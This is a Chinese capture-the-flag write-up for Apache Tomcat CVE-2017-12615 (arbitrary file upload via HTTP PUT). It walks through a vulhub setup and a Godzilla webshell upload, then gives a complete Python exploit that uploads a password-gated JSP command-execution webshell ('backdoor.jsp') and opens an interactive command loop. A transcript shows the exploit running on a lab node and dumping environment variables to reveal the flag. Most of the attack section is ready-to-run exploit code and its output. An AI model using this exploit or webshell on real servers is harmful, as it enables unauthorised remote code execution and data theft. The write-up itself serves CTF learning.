BUUCTF-Real-[Tomcat]CVE-2017-12615

目录

漏洞描述

一、漏洞编号:CVE-2017-12615

二、漏洞复现

get flag

漏洞描述

CVE-2017-12615:远程代码执行漏洞

影响范围:Apache Tomcat 7.0.0 - 7.0.79 (windows环境)

当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。


通过 PUT 方法的 Tomcat 任意写入文件漏洞

一、漏洞编号:CVE-2017-12615

漏洞简述:Tomcat设置了写权限(readonly=false),导致我们可以向服务器写入文件。

CVE-2017-12615:远程代码执行漏洞。只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false。此配置将允许任何未经身份验证的用户上传文件(如WebDAV中所使用的)。

靶机:自搭vulhub

攻击IP:本机

二、漏洞复现

1、开启漏洞环境

cd/vulhub/tomcat/CVE-2017-12615

docker-compose up -d

docker ps

2、进入漏洞页面

当你想登录进入,会发现直接报错403。

3、进行抓包,因为漏洞开启了readonly=false这个权限,所以我们可以进行远程代码执行。

我们可以通过上传哥斯拉jsp包达到RCE目的。

那么首先我们就要用哥斯拉生成一个木马,当然后缀是jsp的。

我们在数据包里把GET类型改成PUT类型,后面加上任意自己起的名字,例如shell.jsp

如下数据包,这个就是修改后的数据包

在哥斯拉中,我们选择 管理—>生成—>生成—>jsp后缀木马

做完这一切之后,我们去网页访问shell.jsp。

会发现没有任何显示,这样就对了,我们再用哥斯拉进行连接。具体操作:

目标—>添加—>填写目标url—>连接

可以看到,我们已经可以进入主机执行任意命令了,这样我们就getshell啦!


get flag

我们使用exp进行漏洞测试


#CVE-2017-12615 EXP
__author__ = ' RX '
import requests
import optparse
import time


parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')

options,args = parse.parse_args()
#验证参数是否完整
if not options.URL or not options.PORT:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

url = options.URL+':'+options.PORT
filename = '/backdoor.jsp'
payload = filename+'?pwd=023&i='

headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}
#木马
data = '''<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }

%>'''
#上传木马文件
def upload(url):
  print('[*] 目标地址:'+url)
  try:
    respond = requests.put(url+filename+'/',headers=headers,data = data)
    #print(respond.status_code)
    if respond.status_code == 201 or respond.status_code == 204:
      #print('[*] 目标地址:'+url)
      print('[+] 木马上传成功')
  except Exception as e:
    print('[-] 上传失败')
    return 0

#命令执行
def attack(url,cmd):
  try:
    respond = requests.get(url+payload+cmd)
    if respond.status_code == 200:
      print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())

  except Exception as e:
    print('[-] 命令执行错误')
if upload(url) == 0:
        exit()
time.sleep(0.5)
print('输入执行命令(quit退出):')
while(1):
  cmd = input('>>>')
  if(cmd == 'quit'):
    break
  attack(url,cmd)



┌──(root㉿ru)-[~/桌面]
└─# python3 exp.py -u http://node5.buuoj.cn -p 26492     
[+] http://node5.buuoj.cn:26492 存在CVE-2017-12615 Tomcat 任意文件读写漏洞

┌──(root㉿ru)-[~/桌面]
└─# python3 exp.py -u http://node5.buuoj.cn -p 26492 
[*] 目标地址:http://node5.buuoj.cn:26492
[+] 木马上传成功
输入执行命令(quit退出):
>>>whoami
root

>>>ls
LICENSE
NOTICE
RELEASE-NOTES
RUNNING.txt
bin
conf
include
lib
logs
native-jni-lib
temp
webapps
work

>>>cd /
>>>ls
LICENSE
NOTICE
RELEASE-NOTES
RUNNING.txt
bin
conf
include
lib
logs
native-jni-lib
temp
webapps
work

>>>pwd
/usr/local/tomcat

>>>cd /root
>>>ls -al
total 88
drwxr-sr-x 1 root staff    57 Jul 31  2017 .
drwxrwsr-x 1 root staff    20 Jul 31  2017 ..
-rw-r----- 1 root root  57092 Jul 24  2017 LICENSE
-rw-r----- 1 root root   1723 Jul 24  2017 NOTICE
-rw-r----- 1 root root   7064 Jul 24  2017 RELEASE-NOTES
-rw-r----- 1 root root  15946 Jul 24  2017 RUNNING.txt
drwxr-x--- 2 root root    313 Jul 31  2017 bin
drwx--S--- 1 root root     22 Feb  7 08:59 conf
drwxr-sr-x 3 root staff    19 Jul 31  2017 include
drwxr-x--- 2 root root   4096 Jul 31  2017 lib
drwxr-x--- 1 root root    177 Feb  7 08:59 logs
drwxr-sr-x 3 root staff   151 Jul 31  2017 native-jni-lib
drwxr-x--- 2 root root     30 Jul 31  2017 temp
drwxr-x--- 1 root root     18 Jul 24  2017 webapps
drwxr-x--- 1 root root     22 Feb  7 08:59 work
>>>env
LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib
CATALINA_HOME=/usr/local/tomcat
LANG=C.UTF-8
HOSTNAME=out
OPENSSL_VERSION=1.1.0f-3
TOMCAT_VERSION=8.5.19
GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 713DA88BE50911535FE716F5208B0AB1D63011C7 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23
JAVA_HOME=/docker-java-home/jre
TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.240.0.1
TOMCAT_ASC_URL=https://www.apache.org/dist/tomcat/tomcat-8/v8.5.19/bin/apache-tomcat-8.5.19.tar.gz.asc
JAVA_VERSION=8u141
TOMCAT_TGZ_URL=https://www.apache.org/dyn/closer.cgi?action=download&filename=tomcat/tomcat-8/v8.5.19/bin/apache-tomcat-8.5.19.tar.gz
KUBERNETES_PORT=tcp://10.240.0.1:443
PWD=/usr/local/tomcat
HOME=/root
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_PORT=443
CA_CERTIFICATES_JAVA_VERSION=20170531+nmu1
TOMCAT_MAJOR=8
JAVA_DEBIAN_VERSION=8u141-b15-1~deb9u1
KUBERNETES_PORT_443_TCP=tcp://10.240.0.1:443
FLAG=flag{ec56b73b-ec22-49c0-97c4-1f457cc9095b}
SHLVL=0
KUBERNETES_SERVICE_PORT=443
PATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_SERVICE_HOST=10.240.0.1
直接运行env即可!打印出环境变量!
flag{ec56b73b-ec22-49c0-97c4-1f457cc9095b}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/377842.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

力扣面试题 05.06. 整数转换(位运算)

Problem: 面试题 05.06. 整数转换 文章目录 题目描述思路及解法复杂度Code 题目描述 思路及解法 1.通过将两个数进行异或操作求出两个数中不同的位(不同的位异或后为二进制1); 2.统计异或后不同的位的个数(即异或后二进制为1的个数) 复杂度 时间复杂度: O ( 1 ) O(1) O(1) 空间…

《Git 简易速速上手小册》第9章:Git 工作流程定制(2024 最新版)

文章目录 9.1 选择合适的工作流9.1.1 基础知识讲解9.1.2 重点案例&#xff1a;为中等规模的 Python 项目选择 Feature Branch 工作流9.1.3 拓展案例 1&#xff1a;适应 Gitflow 工作流的大型项目9.1.4 拓展案例 2&#xff1a;使用 Forking 工作流的开源 Python 项目 9.2 定制化…

94.网游逆向分析与插件开发-游戏窗口化助手-地图数据获取的逆向分析与C++代码还原

内容参考于&#xff1a;易道云信息技术研究院VIP课 上一个内容&#xff1a;升级经验数据获取的逆向分析 码云地址&#xff08;游戏窗口化助手 分支&#xff09;&#xff1a;https://gitee.com/dye_your_fingers/sro_-ex.git 码云版本号&#xff1a;c4351a5b346d8953a1a8e3ec…

Hgame week1 web

1.Bypass it 不准注册&#xff0c;禁用一下js成功注册登录拿到flag 2.ezHTTP 跟着提示走就行 jwt解析一下 3.点击选课发包时候显示已满 一直发包就会选上 每个都一直发包最后就可以全选课成功 后来得知是后天每隔一段时间会放出一些课&#xff0c;一直发包就能在放课的时候选到…

CDN相关和HTTP代理

CDN相关和HTTP代理 参考&#xff1a; 《透视 HTTP 协议》——chrono 把这两个放在一起是因为容易搞混&#xff0c;我一开始总以为CDN就是HTTP代理&#xff0c;但是看了极客时间里透视HTTP协议的讲解&#xff0c;感觉又不仅于此&#xff0c;于是专门写下来。 先说结论&#xf…

计算机组成原理——计算机系统概述

文章目录 概要计算机硬件的基本组成早期冯诺依曼的结构介绍特点 现代计算机的结构介绍五大部件的归属 五大部件存储器&#xff1a;存储体 MAR、MDR运算器控制器 运行原理 计算机软件系统软件和应用软件三种级别的语言编译程序与解释程序的区别 软件硬件功能程序的等价性指令集体…

LLaMA 模型中的Transformer架构变化

目录 1. 前置层归一化&#xff08;Pre-normalization&#xff09; 2. RMSNorm 归一化函数 3. SwiGLU 激活函数 4. 旋转位置嵌入&#xff08;RoPE&#xff09; 5. 注意力机制优化 6. Group Query Attention 7. 模型规模和训练超参数 8. 分布式模型训练 前置归一化与后置…

音视频色彩:RGB/YUV

目录 1.RGB 1.1介绍 1.2分类 1.2.1RGB16 1)RGB565 2)RGB555 1.2.2RGB24 1.2.3RGB222 2.YUV 2.1介绍 2.2分类 2.2.1 YUV444 2.2.2 YUV 422 2.2.3 YUV 420 2.3存储格式 2.3.1 YUYV 2.3.2 UYVY 2.3.3 YUV 422P 2.3.4 YUV420P/YUV420SP 2.3.5 YU12 和…

JavaScript流程控制详解之循环结构(倒三角、九九乘法表)

循环结构 在JavaScript中&#xff0c;循环语句指的是在满足某个条件下重复执行 指定的一段代码。若条件结果为true,则重复执行&#xff0c;则进入循环&#xff0c;否则结束循环。 在JavaScript中&#xff0c;循环语句如下&#xff1a; while语句do…while语句for语句 while…

springboot163美食推荐商城的设计与实现

简介 【毕设源码推荐 javaweb 项目】基于springbootvue 的 适用于计算机类毕业设计&#xff0c;课程设计参考与学习用途。仅供学习参考&#xff0c; 不得用于商业或者非法用途&#xff0c;否则&#xff0c;一切后果请用户自负。 看运行截图看 第五章 第四章 获取资料方式 **项…

WifiConfigStore初始化读取-Android13

WifiConfigStore初始化读取 1、StoreData创建并注册2、WifiConfigStore读取2.1 文件读取流程2.2 时序图2.3 日志 1、StoreData创建并注册 packages/modules/Wifi/service/java/com/android/server/wifi/WifiConfigManager.java mWifiConfigStore.registerStoreData(mNetworkL…

Windows 安装 MySQL 最新最简教程

Windows 安装 MySQL 最新最简教程 官网地址 https://dev.mysql.com/downloads/mysql/下载 MySQL zip 文件 配置 MySQL1、解压文件 2、进入 bin 目录 搜索栏输入 cmd 回车进入命令行 C:\Users\zhong\Desktop\MySQL\mysql-8.3.0-winx64\mysql-8.3.0-winx64\bin 注意这里是你自己…

【数据分享】1929-2023年全球站点的逐日平均风速数据(Shp\Excel\免费获取)

气象数据是在各项研究中都经常使用的数据&#xff0c;气象指标包括气温、风速、降水、能见度等指标&#xff0c;说到气象数据&#xff0c;最详细的气象数据是具体到气象监测站点的数据&#xff01; 有关气象指标的监测站点数据&#xff0c;之前我们分享过1929-2023年全球气象站…

深入探索 Express.js 的高级特性

引言 Express.js 是一个基于 Node.js 平台的 Web 开发框架&#xff0c;旨在提供一种简单、易于使用的方式来创建 Web 应用程序。由于其灵活性和可扩展性&#xff0c;它已经成为了 Node.js 社区最受欢迎的框架之一。在本文中&#xff0c;我们将重点介绍 Express.js 的高级特性&…

Python 深入理解 os 和 sys 模块

Python 深入理解 os 和 sys 模块 OS 介绍代码智能连接&#xff08;拼接&#xff09;路径创建目录展示&#xff08;列出目录&#xff09;删除文件重命名文件或目录 sys 介绍代码命令行参数处理 (sys.argv)标准输入输出重定向 (sys.stdin, sys.stdout, sys.stderr)&#xff1a;解…

08-Java过滤器模式 ( Filter Pattern )

Java过滤器模式 实现范例 过滤器模式&#xff08;Filter Pattern&#xff09;或允许开发人员使用不同的标准来过滤一组对象&#xff0c;通过逻辑运算以解耦的方式把它们连接起来 过滤器模式&#xff08;Filter Pattern&#xff09; 又称 标准模式&#xff08;Criteria Pattern…

基于LLM的Agent的兴起及其潜力:综述

原文链接&#xff1a;https://arxiv.org/pdf/2309.07864v1.pdf 1. Introduction LLM-based Agent的基本构成。本文认为&#xff0c;构成LLM-based Agent的核心部件有三个&#xff1a; brain: 主要目标有2个—信息记忆、信息处理perception: 主要目标在于让agent能够感受到更…

YOLOv8改进 | 利用训练好权重文件计算YOLOv8的FPS、推理每张图片的平均时间(科研必备)

一、本文介绍 本文给大家带来的改进机制是利用我们训练好的权重文件计算FPS,同时打印每张图片所利用的平均时间,模型大小(以MB为单位),同时支持batch_size功能的选择,对于轻量化模型的读者来说,本文的内容对你一定有帮助,可以清晰帮你展示出模型速度性能的提升以及轻量…

二进制安全虚拟机Protostar靶场(8)heap3 Fastbins unlink exploit

前言 这是一个系列文章&#xff0c;之前已经介绍过一些二进制安全的基础知识&#xff0c;这里就不过多重复提及&#xff0c;不熟悉的同学可以去看看我之前写的文章 heap3 程序静态分析 https://exploit.education/protostar/heap-three/#include <stdlib.h> #include …

三、设计模式相关理论总结

一、面向对象编程 1.1 概述 简称Object Oriented Program(OOP)&#xff0c;指以类或对象作为基础组织单元&#xff0c;遵循封装、继承、多态以及抽象等特性&#xff0c;进行编程。其中面向对象不一定遵循封装、继承、封装和多态等特性&#xff0c;只是前人总结的套路规范&…